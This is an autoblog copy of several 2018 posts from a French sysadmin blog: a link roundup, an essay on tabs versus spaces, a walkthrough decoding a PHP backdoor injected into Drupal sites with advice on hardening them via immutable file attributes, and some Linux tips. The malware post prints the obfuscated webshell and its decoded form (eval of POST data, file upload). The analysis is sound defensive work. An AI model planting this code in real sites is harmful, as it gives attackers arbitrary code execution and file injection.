PROJET AUTOBLOG


Le blog de Seboss666

Site original : Le blog de Seboss666

⇐ retour index

Quelques liens en vrac et en français, 27° édition

mercredi 13 juin 2018 à 18:30

Vu que je touche très peu à l’ordinateur en ce moment (vacances, plage, bricolage, toussa), du moins pour faire autre chose que regarder des vidéos en retard, j’ai quand même pris la peine de terminer cette nouvelle compilation de lectures diverses. J’ai du dégraisser une fois de plus, mais j’ai cherché à varier les thèmes, ai-je réussi ou pas, je vous laisse juger…

Mon après-moi numérique

Comment gérer notre présence en ligne une fois qu’on est plus là pour la gérer ? Je me suis moi-même posé la question en fin d’année dernière, je ne sais pas si ma réponse valait quelque chose, mais j’avais besoin de l’écrire. Voici une autre réflexion sur le sujet par Nicolas Lœuillet.

Plusieurs centaines de sites enregistrent l’intégralité des actions des visiteurs

Quand on vous dit que vous être espionnés quand vous êtes en ligne, vous n’imaginez pas à quel point le moindre de vos mouvements est scruté, enregistré, disséqué, à des fins particulièrement peu reluisantes, et surtout, sans que vous n’en soyez le moins du monde informé, et donc encore moins consulté au préalable pour savoir si vous êtes d’accord.

TOS DR

Je vais faire une petite entorse à l’un des critères de cette série sur le blog, à savoir que le lien suivant est en anglais et pas en français. Diminutif de Terms of Service Didn’t Read, ce site récapitule en langage humain les conditions d’utilisation de vos sites favoris dans une version compréhensible et condensée, donc plus facile à lire. Si vous êtes à l’aise avec la langue de Denzel Washington, prenez une minute pour lire certaines conditions de vos sites favoris, et vraiment posez vous la question de savoir à quel moment il est justifié de leur donner autant de permissions sur votre propre vie quand vous n’en donnez pas autant à d’autres personnes plus proches de vous.

Suivre madmoiZelle sur Facebook : infos sur notre consommation média

Le site madmoiZelle a découvert récemment à quel point dépendre d’un acteur unique, à savoir Facebook, pour tenter de fédérer une audience est une mauvaise idée, parce que Facebook ne se soucie que de Facebook et fait sa vie sans rien demander à personne, comme Google avec son univers. Mais la réflexion reste très intéressante à lire, même si vous n’êtes pas le cœur d’audience habituelle du site.

Comment suivre les mises à jour de vos logiciels libres

Les logiciels libres ont cette particularité d’être souvent très actifs, mis à jour régulièrement, pour différentes raisons (sécurité, stabilité, évolutions). Suivre leur actualité n’est pas toujours facile, mais il existe quelques astuces que Cascador partage avec plaisir, et je l’en remercie, parce que souvent ça passe par l’incontournable flux RSS dont j’ai déjà décrit il y a quelques années les avantages.

Prévoir la configuration automatique de son serveur mail dans Thunderbird

Si tous les opérateurs prévoient une page d’autoconfiguration pour Outlook, ce n’est pas nécessairement le cas pour les autres clients mails. Et si Thunderbird dispose d’une base de données de configuration de différents hébergeurs, ce n’est pas nécessairement le cas pour ceux qui sont assez masochiste pour héberger leur propre boîte mail. Mais tout n’est pas perdu, il y a un CHATON pour vous expliquer comment faire.

Install and Forget : suivre le cycle de vie de vos applications sur le long terme

C’est un peu en lien avec le suivi des mises à jour présenté juste au-dessus, mais ce billet est plus un rappel pour les développeurs et intégrateurs d’application, à savoir, rien n’est parfait sur le long terme en matière de sécurité (la seule sécurité serait de ne pas avoir d’application…), donc quand une enseigne se présentant comme un collectifs d’experts en hébergement et logiciel libre en parle, et que ça me semble pas raconter trop de conneries, ma foi, je partage.

Combien faut-il de nains pour creuser en 2 jours un tunnel de 28 m dans du granite ?

Ah, elle date un peu maintenant cette conférence de gestion des ressources humaines en environnement contraint. Mais elle est toujours aussi délicieuse à suivre (en plus ce n’est pas très long), et si vous ne connaissez pas encore le Donjon de Naheulbeuk, vous devriez un peu vous y intéresser, ça vaut le détour.

Enfin utiliser Vim

J’ai réellement découvert vim en arrivant chez LinkByNet. S’il est devenu très rapidement mon éditeur de choix sur mes serveurs et même sur mon laptop par certains moments (c’est plus rapide que de switcher entre CLI et application graphique), je continue d’utiliser Sublime text pour mes besoins en développement. Mais là souplesse et l’extensivité de vim pourraient bien vous surprendre à plus d’un titre.

Les dessous du pistage entre sites

Non content de surveiller vos moindres faits et gestes sur leur site, les sociétés font leur possible pour savoir aussi ce que vous faites quand vous n’êtes pas chez eux (ce qui ne les regarde pas). Petit tour d’horizon sur quelques techniques à base de cookies, de localstorage, de pixels cachés, de bouton de partage…

Vie privée et politique, nos représentants ont-ils la même définition que nous ?

Si je ne suis pas particulièrement loquace sur le sujet par rapport à d’autres confrères blogueurs, les sujets concernant la vie privée m’intéressent particulièrement et je vous en partage souvent. En voilà un de plus particulièrement intéressant puisque lorsqu’on parle de vie privée dans la sphère citoyenne, sa définition diffère grandement pour ceux qui sont censés nous représenter au niveau politique.

Ne consommez pas Internet, soyez internet

C’est un décalage qu’on remarque trop souvent dans tous les domaines, il y a bien trop de consommateurs et pas assez de producteurs. Un peu dans la même veine que l’article de Korben sur les bouffeurs/créateurs (à lire et partager également), on parle de contribution et de participation mais un cran en-dessous puisque l’on cible l’infrastructure dans ce billet de freetux.

De la musique de qualité sous licence libre pour vos projets

Alors certes ça ne vous protègera pas des vélléités financières des aspirateurs à pognons d’ayant-tous-les-droits, mais tant que vous ne diffusez pas en magasin, vous devriez pouvoir être un peu plus tranquille et c’est toujours bien de respecter la volonté des auteurs (si certains ne veulent pas qu’on utilise leur musique sans vendre un rein, tant pis pour eux). Remember, j’avais utilisé une telle musique pour la vidéo sur le démineur 🙂

Le parcours du combattant pour nettoyer sa vie numérique

J’ai moi-même fait l’inventaire des comptes dont je dispose en ligne, et j’ai dépassé la quarantaine, avec une quantité trop peu variée de mots de passe (l’inventaire était la première étape avant la redéfinition de ces mots de passe). Je n’ai pas prévu d’en supprimer pour l’instant, mais Guénaël de NextINpact s’est bien fait chier pendant plusieurs mois pour tenter justement de faire le ménage dans les siens et supprimer certains des comptes. Et on se rend bien compte à quel point les sociétés ne veulent pas se départir des précieuses données qui sont rattachées à votre compte, en faisant tout pour rendre la suppression au moins compliquée, au mieux impossible (mieux pour elles).


Voilà, sur ce, je vais reprendre mes vacances (je suis actuellement en Espagne), j’avancerai peut-être quelques brouillons, j’ai aussi commencé un carnet de vacances mais je sais pas encore s’il est pertinent de vous le présenter. On verra bien…

Tabulations ou espaces dans votre code ?

samedi 19 mai 2018 à 10:30

Firefox vs Chrome, Windows vs Linux, iOS vs Android, KDE vs Gnome, systemd vs OpenRC, Node.js vs Python… Les guéguerres de clocher interminables et très souvent puériles (voire même franchement connes et toxiques) sont connues parfois même des moins techniciens tellement elles sont bruyantes. Il en est une que peu de monde entend cependant, et à laquelle je me suis confronté dernièrement. Voyons voir quel est ce problème qui concerne les développeurs à travers le monde.

Disclaimer : je ne suis pas développeur, tout juste un gros bricoleur du dimanche qui triture quelques lignes de code sur son temps libre, et également occasionnellement au boulot (ce qu’on appelle du scripting, la première étape pourrait-on dire). Si jamais je dis une énormité, il ne faut pas hésiter à me corriger mais courtoisement 🙂

De quoi on parle déjà ?

Causons un peu typographie pour commencer. Évidemment, j’ai peu de chose à dire sur l’espace, il sert d’abord à séparer les mots, et sa taille peut varier en fonction de la police de caractères ou, si on s’attaque aux possibilités de l’informatique, à l’alignement du texte par rapport à un cadre (ce texte est justifié, collez-le dans un éditeur de texte brut vous verrez qu’il n’y a qu’un espace entre chaque mot).

La tabulation, elle, remonte aux premières machines à écrire et correspond à un besoin d’aligner des éléments, à l’époque sous forme de tableaux (tabula, tableau, vous l’avez ?), plus facilement qu’avec des espaces ou des retours arrière. Lors de l’arrivée de l’informatique on en a fait un caractère spécial à part entière et la touche est restée sur nos claviers, les règles virtuelles ont remplacé les guides des machines à écrire dans les traitements de texte, et on peut définir de manière très souple la taille d’une tabulation.

La règle dans OpenOffice pour aligner le texte

Pourquoi on s’emmerde avec les deux ?

Ben après les avoir présenté je pense pas avoir besoin d’en dire beaucoup plus. L’un est juste là pour séparer des mots alors que l’autre est conçu pour de la mise en page. Mais qui n’a jamais vu quelqu’un tenter d’aligner des blocs de texte avec des espaces dans Word, avec un succès aléatoire ? Sans même parler de l’AVC que déclenche l’affichage des caractères spéciaux sur ces mêmes blocs alignés par Satan ?

On est donc face à deux outils qui dans beaucoup de cas sont soit trop peu utilisés, soit pas utilisés pour leur domaine de prédilection. Et le monde de la programmation (paie ton terme pré-millennial) ne fait pas exception, enfin presque.

C’est quoi le problème pour les développeurs ?

Le problème c’est que chaque développeur, au fur et à mesure qu’il fait des choix sur ses outils et façonne ses habitudes, sans même parler de ses langages de prédilection, peut mettre en forme son code de manière différente. Et si plusieurs devs bossent sur le même logiciel, lire un même langage avec autant de mises en forme que de personnes impliquées c’est comme lire un bouquin dont chaque page est écrite avec une police de caractère différente, sans parler du vocabulaire. Je vous laisse imaginer votre niveau de concentration sur l’histoire avec une telle présentation. Et l’une des pratiques cibles ici est l’indentation.

En fonction des langages, vous mettez un pied en enfer si les conventions d’indentation bougent au fur et à mesure que le code se déroule. C’est notamment le cas en Python, ou si vous utilisez le YAML pour vos fichiers de configuration. Mais même sans ça, la lisibilité est toute différente. Prenons un exemple tout bête en html que j’ai pu écrire y’a quelques années :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<link rel="stylesheet" type="text/css" href="style.css" />
<title>T-OC Panel Evolution - Public "perso"</title>
</head><body><div id="banner">
<span id="servername">Serveur Public "perso"</span>
<span id="menu">
<select name="server" class="dropdown" onchange="window.location='index.php?server='+this.value;"><option value="toc_simple" selected>Public &quot;Perso&quot;</option><option value="pub5">Public CoD5</option>		</select>
</span>
</div><div id="controls">
<div id="buttons">
<form name="input" action="index.php?server=toc_simple" method="get">
<input type="hidden" name="caction" value="start" />
<input type="submit" class="btn_start" value=" " />
</form>
<form name="input" action="index.php?server=toc_simple" method="get">
<input type="hidden" name="caction" value="stop" />
<input type="submit" class="btn_stop" value=" " />
</form>
<form name="input" action="#" method="get">
<input type="hidden" name="status" value="status" />
<input type="submit" class="btn_status" value=" " onclick="javascript:location.reload(true);" />
</form>
</div>
<div id="info">
<p class="server_status">Etat du serveur : <span style="color:#0F0;">Server started.
</span></p>
</div>
</div>
</body>
</html>

Ça c’était la version « à plat ». Et si maintenant je fais un peu d’indentation :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<link rel="stylesheet" type="text/css" href="style.css" />
	<title>T-OC Panel Evolution - Public "perso"</title>
</head>
<body><div id="banner">
	<span id="servername">Serveur Public "perso"</span>
	<span id="menu">
		<select name="server" class="dropdown" onchange="window.location='index.php?server='+this.value;"><option value="toc_simple" selected>Public &quot;Perso&quot;</option><option value="pub5">Public CoD5</option>		</select>
	</span>
</div><div id="controls">
	<div id="buttons">
		<form name="input" action="index.php?server=toc_simple" method="get">
			<input type="hidden" name="caction" value="start" />
			<input type="submit" class="btn_start" value=" " />
		</form>
		<form name="input" action="index.php?server=toc_simple" method="get">
			<input type="hidden" name="caction" value="stop" />
			<input type="submit" class="btn_stop" value=" " />
		</form>
		<form name="input" action="#" method="get">
			<input type="hidden" name="status" value="status" />
			<input type="submit" class="btn_status" value=" " onclick="javascript:location.reload(true);" />
		</form>
	</div>
	<div id="info">
<p class="server_status">Etat du serveur : <span style="color:#0F0;">Server started.
</span></p>
	</div>
</div></body>
</html>

On comprend mieux les dépendances entre éléments, ce qui sera d’autant plus important lorsque viendront les mises en forme CSS de ces éléments. En YAML, où les éléments sont indentés avec des espaces (regardez les fichiers de ma dockerisation perso de gogs), ben le moindre espace en trop ou en moins et la stack ne démarre pas.

Comment on fait alors ?

Quand on travaille seul nos outils varient peu, et donc chacun fait comme il veut, tant qu’il reste cohérent tout au long du code source; si on suit les recommandations PEP8 de Python, ils préconisent 4 espaces pour l’indentation. Par contre quand on travaille en équipe il est nécessaire des le début d’un projet de bien définir les pratiques à suivre, de la même manière que les conventions de nommage des classes, méthodes et variables (Qui a dit CamelCase ?). L’objectif est d’éviter que le code soit difficilement lisible parce que chacun y va de sa méthode d’indentation, de taille de niveau… C’est d’autant plus vrai en Python où l’indentation est vitale pour la compréhension du code par l’interpréteur et où aucun écart n’est permis. Mixer tabulation et espace est d’ailleurs interdit en Python 3, car de par leur nature différente on ne sait pas quel niveau d’indentation appliquer à la première.

Surtout que les environnements de développement et les éditeurs de code avancés savent très bien s’accommoder et sont paramétrables sur ce plan, on peut donc forcer la taille d’une tabulation ou sa conversion directe en espaces de quantité de son choix sur son logiciel d’écriture favori.

Tu préfères quoi ?

J’ai tendance à préférer la tabulation pour plusieurs raisons. La première, c’est que c’est un seul caractère, là où vous pouvez en avoir deux, quatre ou même huit (déjà vu), et sur une base de code grossissante c’est de l’espace disque inutilement consommé selon moi. J’ai très souvent vécu dans un univers où le moindre octet compte, j’ai gardé une certaine sensibilité sur ce point; il m’arrive aussi de bosser sur des plateformes « legacy » où la taille de la partition racine est incroyablement petite et chaque octet influe sur le pourcentage d’occupation propre à déclencher des alertes préventives d’espace disque. Ceci dit si ça n’excuse pas pour autant les développeurs JavaScript qui fournissent une version « minifiée » d’un code pourtant déjà illisible (mais là aussi le moindre octet de gagné peut s’avérer payant, souvenez-vous de la conclusion de l’article sur la compression).

La deuxième c’est que de par la souplesse de l’affichage qu’on peut appliquer au caractère, plusieurs développeurs peuvent travailler sur le même code tout en appliquant la taille d’indentation qu’ils veulent sans remettre en cause la logique sous-jacente, ce qui veut dire un plus grand confort pour eux et donc plus d’efficacité. Eh oui, même les rois de l’adaptation aiment leurs petites habitudes, et en contrarier le moins possible est souvent une bonne idée.

Alors certes c’est moins pratique lorsqu’on affiche le code sans aide visuelle parce qu’une tabulation est aussi invisible que l’espace. J’ai notamment eu le tour lorsque pour mon module de mise à jour dns pour gogs, Vim sous Debian Stretch m’a ajouté des espaces dans un code Python indenté avec des tabulations sous Sublime (j’ai voulu essayer un quick fix sans tout refaire, j’ai eu des problèmes).

Ça sert à rien de pleurer alors ?

Le seul moment où vous devez pleurer c’est quand vous vous retrouvez face à un code anarchique mixant les deux sans prévenir, ce qui est courant avec les « kiddies » qui pensent qu’il suffit d’un doctorat en recherche Google/StackOverflow avec spécialisation copier-coller pour pondre un programme de mort. Non seulement ça pourrit la lisibilité, mais ça peut aussi s’avérer plantogène à fond. Sinon, pleurer revient seulement à montrer qu’on doit avoir une vie bien triste pour s’attarder sur ce qui n’est le plus souvent qu’un faux problème, surtout avec des langages qui s’en foutent royalement, comme html, php, bash (on va dire que c’est un langage hein, pour le contexte, surtout que j’écris cette conclusion un vendredi), JavaScript et j’en oublie certainement, parce que leur syntaxe les rends permissifs, et les risques de mauvaise interprétation moins nombreux.

Et vous, vous utilisez quoi pour vos indentations?

Décoder un script PHP malveillant, comment s’en protéger

dimanche 13 mai 2018 à 10:30

Suite aux récents évènements de sécurité autour de Drupal, plusieurs de nos clients qui pensent que leur site est une affiche collée au mur qui n’a pas besoin de mise à jour se sont fait poutrer parfois méchamment. Je vous propose d’analyser le code d’un fichier injecté par le biais des dernières failles en date, histoire de comprendre comment ça fonctionne, pourquoi il est compliqué de les détecter, quelles sont les options à disposition pour réduire la surface d’attaque.

Voici le code brut :

<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);}; ?>

L’un des moyens les plus évidents, au delà de la lisibilité douteuse de cette unique ligne, c’est l’utilisation fréquente de la fonction base64_decode(). On va donc procéder par étape, pour améliorer la lisibilité et traduire tout ça afin de savoir de quoi il retourne. On va déjà rétablir retours à la ligne et indentation :

<?php
echo 7457737+736723;

$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");

$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");

eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));

if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))) {
	@$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);
};

?>

Je n’ai absolument aucune idée de l’utilité du premier echo, à part peut-être constituer une sorte de signature qui permet d’identifier ce qu’on peut faire avec le reste du code. On constate plusieurs définitions de variables, un test sur le contenu de $_POST, ce qui confirme qu’on peut lui envoyer des choses, et on voit l’utilisation de $_FILES, les deux combinés laissent déjà à penser qu’il est possible d’uploader des fichiers avec ce script.

Commençons par la première variable, et le contenu sur lequel doit s’exécuter le base64_decode :

$raPo_rZluoE=base64_decode("YmFzZTY0X2RlY29kZQ==");

J’ai simplement fait un php -r 'echo "Y".chr(109)."F".chr...;' pour traduire le contenu. C’est d’ailleurs cette méthode que je vais exploiter pour traduire la plupart des transformations. Alors, quel est donc le résultat ?

[seboss666@seboss666-ltp ~ ]$ php -r 'echo base64_decode("YmFzZTY0X2RlY29kZQ==");'
base64_decode

Franchement, là celle-là on aurait pu s’en passer, mais ça a du sens en matière de masquage. Oui, on dit que raPo_rZluoE est équivalent à base64_decode, et par la suite, on pourra appeler $raPo_rZluoE à la place de l’original, une saloperie couramment rencontrée dans les scripts malveillants que j’ai pu voir par le passé, et qui font partie des critiques du langage sur sa faible sécurité. C’est d’ailleurs ce qu’on verra juste après.

La deuxième définition de variable est identique à part le contenu, donc on va prendre un raccourci :

//$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");

$ydSJPtnwrSv="copy";

C’est à la ligne suivante que les choses prennent leur sens. La fonction eval() interprète le contenu qu’on lui passe, et on voit qu’on lui passe une fonction masquée; on a encore un enchaînement connu, je vais raccourcir un peu les étapes :

//eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));

eval(base64_decode($_POST["id"]));

Cette simple commande ouvre les portes à toutes les possibilités d’exécution arbitraires permises par PHP avec l’utilisateur système associé. Il suffit de faire une requête HTTP « POST » avec un contenu qui va bien, dans la variable qui va bien, pour aboutir au résultat voulu : extraction de données, lancement d’attaques sur serveurs tiers, infections multiples pour se laisser plusieurs portes d’entrées sur la machine compromise, tentatives d’élévation de privilèges…

Approchons-nous du if maintenant. Je ne vais pas vous détailler toutes les étapes, ce sont les mêmes, voici la version en clair :

if($_POST["up")] == "up") {
	@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
};

Là c’est clair, on injecte des fichiers en forçant leur nom, histoire de les retrouver plus facilement après. Allez, pour la culture, je vous met le code complet « décompilé » :

<?php
echo 7457737+736723;

eval(base64_decode($_POST["id"]));

if($_POST["up")] == "up") {
	@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
};
?>

Y’a eu bien pire

Qu’on ne se mente pas, ces deux petites routines aussi simples paraissent-elles sont capables de faire pas mal de dégâts, mais au final c’est assez roots, il faut soi-même envoyer les commandes ou les fichiers. j’ai vu passer des explorateurs de fichiers, des webshells, et ces derniers mois, des logiciels de minage de cryptomonnaies ont fait leur apparition en force (qui s’installent avec l’utilisateur PHP, ajoutent une tâche cron pour ajouter un peu de persistance…). J’ai également eu l’occasion de croiser des robots à spam, certains injectaient des dossiers entiers de pages présentant des contrefaçons de produits de consommation, d’autres avaient décidé de bruteforcer des accès SSH d’autres serveurs (on a reçu une notification d’abuse de la part de l’hébergeur de la machine compromise)… Bref, la panoplie est bien large en matière de logiciels malveillants. Et là on ne parle que de plateformes classiques d’hébergement de sites web. Les derniers records en matière de déni de service distribués ont été effectués à l’aide d’objets connectés mal conçus ou mal installés, pas maintenus à jour ni configurés correctement. Bientôt, il faudra vous méfier de votre frigo.

Le problème, c’est que ce genre d’attaque n’est pas nécessairement détecté rapidement. Nous disposons presque systématiquement d’antivirus sur les plateformes que l’on exploite, mais ce genre de code obfusqué à la volée peut changer tellement du tout au tout qu’il est impossible d’en définir une signature (certains redéfinissent même un alphabet dans un tableau pour ensuite appeler les fonctions caractère par caractère…). Ajoutez à ça qu’un fichier malveillant peut être utilisé seulement des semaines après avoir été injecté, il n’est même pas possible d’en déduire un comportement suspect. Sauf qu’en multipliant les infections sur un même site, on le rend pratiquement impossible à désinfecter proprement, et une fois la machine compromise, il est impossible de savoir à quel point l’attaquant a pu s’introduire dans le système.

Définitivement, les mises à jour de sécurité ne sont pas faites pour les chiens, et tous les niveaux sont concernés, jusqu’au matériel désormais. Prenez donc le temps de mettre en place une politique de maintenance sur vos plateformes, le monde entier vous remerciera.

Comment réduire la surface d’attaque ?

Des commerciaux tenteront de vous mettre des étoiles dans les yeux avec un WAF, un Web Application Firewall, qui va jouer le role de proxy et analyser les URLs et le contenu des POST pour tenter de détecter un comportement suspect ou clairement identifié comme malveillant. Mais ces solutions sont souvent lourdes à mettre en place (impact plus ou moins grand sur l’applicatif, demande ce qu’on appelle un affinage après l’installation), et surtout chères, raison pour laquelle je parle des commerciaux. Il y a bien Naxsi, mais sa mise en place est assez ardue et pose le même problème de contrainte et d’impact sur le fonctionnement du site. Je conseille cette solution en dernier recours si vous êtes constamment attaqué et que pour différentes raisons vous ne pouvez pas garantir la maintenance de sécurité de votre site (coucou le WordPress 3.2 multisites au 104 plugins customs qui me stressent à chaque fois que je l’approche).

La méthode que je privilégie quand un site n’est pas maintenu, c’est la lecture seule. Et pas n’importe laquelle. Trop simple les chmod a-w, le chown… Le plus efficace, mais vraiment à utiliser en dernier recours, n’est pas visible facilement. Mais on peut sentir qu’il y a truc quand on a le comportement suivant :

[seboss666@seboss666-ltp ~/tmp ]$ l
total 16K
drwxr-xr-x  2 seboss666 seboss666 4,0K 12.05.2018 10:45 ./
drwx------ 48 seboss666 seboss666 4,0K 11.05.2018 20:01 ../
-rw-r--r--  1 seboss666 seboss666 1,6K 28.01.2018 10:34 smoke.dump
-rw-r--r--  1 seboss666 seboss666 1,2K 28.01.2018 10:34 smokegood.dump
[seboss666@seboss666-ltp ~/tmp ]$ rm smoke.dump 
rm: impossible de supprimer 'smoke.dump': Opération non permise

Eh oui, un peu à l’instar des ACL, on a aussi les attributs étendus du système de fichiers à notre disposition pour contrôler ce qu’on a le droit de faire sur un fichier, ensemble de fichiers… C’est via les commandes chattr et lsattr qu’on les manipule :

[seboss666@seboss666-ltp ~/tmp ]$ lsattr smoke.dump
----i---------e--- smoke.dump
[seboss666@seboss666-ltp ~/tmp ]$ sudo chattr -i smoke.dump 
[seboss666@seboss666-ltp ~/tmp ]$ lsattr smoke.dump 
--------------e--- smoke.dump
[seboss666@seboss666-ltp ~/tmp ]$ rm smoke.dump 
rm : supprimer 'smoke.dump' du type fichier ? o
[seboss666@seboss666-ltp ~/tmp ]$ l
total 12K
drwxr-xr-x  2 seboss666 seboss666 4,0K 12.05.2018 11:00 ./
drwx------ 48 seboss666 seboss666 4,0K 12.05.2018 10:59 ../
-rw-r--r--  1 seboss666 seboss666 1,2K 28.01.2018 10:34 smokegood.dump

Les attributs étendus permettent de faire pas mal de choses, je vous recommande la page de manuel traduite de chattr qui résume tous les drapeaux manipulables. Juste sachez que les systèmes de fichiers les plus courants sous Linux proposent peu ou prou les mêmes, et même les systèmes de fichiers Windows proposent des attributs étendus que je vous laisse chercher.

Bref, ici, c’est le « i » pour « immutable » qui nous intéresse, qui est le terme anglais pour inaltérable. En appliquant ça sur une arborescence complète, on la fige complètement, ce qui empêche les injections dans des fichiers, ainsi que le dépôt de nouveaux fichiers :

[seboss666@seboss666-ltp ~/tmp ]$ mkdir testdir
[seboss666@seboss666-ltp ~/tmp ]$ sudo chattr +i testdir/
[seboss666@seboss666-ltp ~/tmp ]$ cd testdir/
[seboss666@seboss666-ltp ~/tmp/testdir ]$ touch toto.txt
touch: initialisation des dates de 'toto.txt': Aucun fichier ou dossier de ce type
[seboss666@seboss666-ltp ~/tmp/testdir ]$ l
total 8,0K
drwxr-xr-x 2 seboss666 seboss666 4,0K 12.05.2018 11:24 ./
drwxr-xr-x 3 seboss666 seboss666 4,0K 12.05.2018 11:24 ../
[seboss666@seboss666-ltp ~/tmp/testdir ]$ echo "coucou" > toto.txt
bash: toto.txt: Opération non permise
[seboss666@seboss666-ltp ~/tmp/testdir ]$ l
total 8,0K
drwxr-xr-x 2 seboss666 seboss666 4,0K 12.05.2018 11:24 ./
drwxr-xr-x 3 seboss666 seboss666 4,0K 12.05.2018 11:24 ../

Attention, ce n’est pas récursif, c’est à dire que s’il existe déjà un sous-dossier, celui-ci n’hérite pas de l’attribut immutable, et on peut alors le modifier/ajouter des fichiers dedans. Dans le cadre d’un Drupal ou d’un WordPress, ça peut être utile pour laisser malgré tout un dossier de cache ou le dossier d’uploads en écriture pour ne pas trop impacter les contributions ou les améliorations de performance. Par contre, il faudra alors penser à retirer le flag sur toute l’arborescence pour faire une mise à jour, que ce soit le cœur, le thème, les plugins. Beaucoup plus contraignant, mais la sécurité a souvent un prix.

Si vous laissez certains dossiers accessibles en écriture, on va devoir empêcher tout appel à un script malveillant qui pourrait être injecté dans ces dossiers. Généralement, c’est votre serveur web qui va vous aider dans ce processus, avec différentes possibilités :

Il y a encore certainement d’autres possibilités, comme la restriction de requêtes POST, il suffit de chercher « Drupal Security » ou « WordPress Security » sur votre moteur de recherche favori pour trouver quantité d’articles sur le sujet, à voir ce qui est applicable à votre installation.

Dans tous les cas, il faut se souvenir que la sécurité, c’est comme le reste de l’informatique : c’est vivant, les menaces évoluent, il ne suffit pas d’avoir collé deux règles dans votre serveur web pour être tranquille définitivement. Pour ceux dont le site est la source de revenus, n’hésitez pas à vous assurer d’avoir un partenaire pour la maintenance si vous n’avez pas la capacité de le faire vous-même, c’est un investissement nécessaire qui vous évitera d’avoir à payer beaucoup plus cher quand vous vous ferez démembrer. D’autant plus si vous manipulez des données personnelles, les sanctions en cas de manquement seront beaucoup plus lourdes

Quelques astuces diverses, douzième

vendredi 4 mai 2018 à 18:30

Allez, c’est reparti pour une nouvelle collections de petites bricoles qui facilitent la vie de toux ceux qui bricolent 🙂

Compresser à la volée une image disque

Le problème quand on fait une image d’une partition ou d’un disque, c’est qu’il va tout prendre, les un comme les zéro (pour rappel, tout est binaire à la base). Et si y’a beaucoup de zéro, c’est de l’espace gaspillé; si un disque fait 32Go mais seulement 10 sont utilisés, l’image fera tout de même 32Go. Heureusement on a des outils de compression pour ça, et même certains qu’on peut appeler à la volée à l’aide d’un pipe:

dd if=/dev/sda2 | gzip > /media/disk/sda2-backup-10august09.gz

Si le temps d’exécution n’est pas un problème pour vous, vous pouvez également utiliser xz qui sera plus performant mais beaucoup plus lent (on pourrait faire un petit comparatif un jour tiens 🙂 )

Rediriger la sortie d’une commande effectuée avec sudo

Le problème de sudo, c’est qu’il n’applique l’élévation de privilège qu’à la commande en cours et pas à d’éventuelles redirections, ce qui peut s’avérer gênant quand on veut écrire dans un dossier sur lequel on a pas les droits. Dans l’astuce précédente, si on veut avoir le droit d’écrire dans /media/disk (parce que oui parfois ça marche pas bien), on peut englober la commande et sa redirection sur une nouvelle instance de bash :

sudo bash -c "dd if=/dev/sda2 | gzip > /media/disk/sda2-backup-10august09.gz"

Attention cependant, cette nouvelle « session » ne charge peut-être pas tout l’environnement, dans ce cas, préférez des chemins absolus pour les commandes tapées si elles sont dans des chemins non standards.

Let’s Encrypt, Apache, et directive <Limit>

Un client filtre ses accès préprod par IP avec une directive <Limit> contenant une série d’allow et de deny dans le fichier .htaccess à la racine du site. Pour permettre aux serveurs de Let’s Encrypt de contacter le dossier .well-known afin de valider le challenge, j’ai utilisé mod_setenvif :

SetEnvif Request_URI "/.well-known*" lewhitelist
<LIMIT>
        #Whitelist Let's Encrypt
        Allow from env=lewhitelist

Pourquoi pas ajouter les IP Let’s Encrypt ? Parce qu’elles ne sont pas fixes (dixit la FAQ) :

What IP addresses does Let’s Encrypt use to validate my web server?

 

We don’t publish a list of IP addresses we use to validate, because they may change at any time. In the future we may validate from multiple IP addresses at once.

Améliorer les performances wifi sous Linux

A la cité des Sciences, mais je pense que ça peut me servir ailleurs, j’ai eu quelques difficultés avec ma carte wifi qui semblait mal conserver un lien avec le point d’accès. Mon dépanneur de Chromebook (avec qui on l’a cassé, j’en ai parlé récemment dans son démontage) m’a filé une astuce, en lien avec la gestion de l’énergie. Il faut passer par l’utilitaire iw (à installer donc) :

$ iw dev wlan0 set power_save off

Bon par contre, si vous êtes charrette en batterie ça sera peut-être pas recommandé 🙂

Ajouter un fichier swap pour grossir l’espace existant

